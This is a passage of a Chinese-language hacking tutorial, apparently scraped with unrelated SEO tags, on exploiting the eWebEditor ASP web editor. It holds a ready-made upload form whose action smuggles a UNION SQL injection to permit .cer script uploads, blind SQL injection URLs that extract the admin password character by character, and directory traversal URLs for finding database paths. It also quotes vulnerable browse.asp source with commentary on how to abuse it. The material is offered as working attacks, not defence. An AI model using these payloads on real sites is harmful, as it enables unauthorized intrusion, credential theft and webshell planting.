ewebeditor漏洞利用总结

标签：公司庆典活动总结,拓展活动总结,企业年会活动总结,http://www.qihang56.com ewebeditor漏洞利用总结,

emo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>
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        以上代码令存为html！修改红色部分的路径，然后自动上传 .cer 文件！漏洞原因是因为sStyleName变量直接从style中读取，并没有过滤，所以可以包含任意字符！用select在ewebeditor_style表中查找s_name为sStyleName的记录，找不到就提示出错！在sStyleName变量中用union来构造记录，我们可以在sAllowExt中加入"|cer"、"|asa"等！
        另外还有一些版本的ewebeditor的upload.asp文件存在注入漏洞！贴几个注入用的url！信息错误则返回脚本出错的提示，在浏览器左下角！具体利用如下:
ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1
注意修改红色部分的字段名、位数、ascii码的值！
7、目录遍历漏洞！
        这里大概说一下！目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件！这个文件有的不需要登陆验证，有些需要！很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改！这种情况下，唯一可以利用的也就是利用遍历目录功能查看网站文件，比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等！这些都自由发挥了！说下漏洞利用方法！
        漏洞利用方式如下:在上传文件管理页面 随便选择一个上传样式！比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../..
类似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到网站数据库的路径！
       另外一个遍历目录的漏洞文件是 ewebeditor/asp/browse.asp
漏洞代码为 ：
Function GetList()
Dim s_List, s_Url
s_List = ""
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))
'注意一下sCurrDir变量,这个值等下我们可以用到
If Err.Number>0 Then
s_List = ""
Exit Function
End If

If sDir <> "" Then
If InstrRev(sDir, "/") > 1 Then
s_Url= Left(sDir, InstrRev(sDir, "/") - 1)
Else
s_Url = ""
End If

s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.Write sDir&"!"&s_List

Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" & oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name & "" & _
" " & _
""
Next
'Response.Write s_List

Set oUploadFiles = oUploadFolder.Files

For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir & "/" & sFileName
End If

s_List = s_List & "" & _
"" & FileName2Pic(sFileName) & "" & _
"" & sFileName & "" & _
"" & GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir & ""
's_Url = "/" & sDir & "/"
End If

s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"
GetList = s_List
End Function
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
Function CheckValidExt(s_FileName)
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If

Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的
Sub InitParam()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))

Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next

If bValidStyle = False Then
OutScript("alert('Invalid Style.')")
End If

sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1

If nAllowBrowse <> 1 Then
OutScript("alert('Do not allow browse!')")
End If

sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <> "/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" & sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" & sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" & sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" & sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" & sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"

Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" & aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" & aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" & aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" & aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select

Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select

sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址
sDir = Trim(Request("dir")) '得到dir变量

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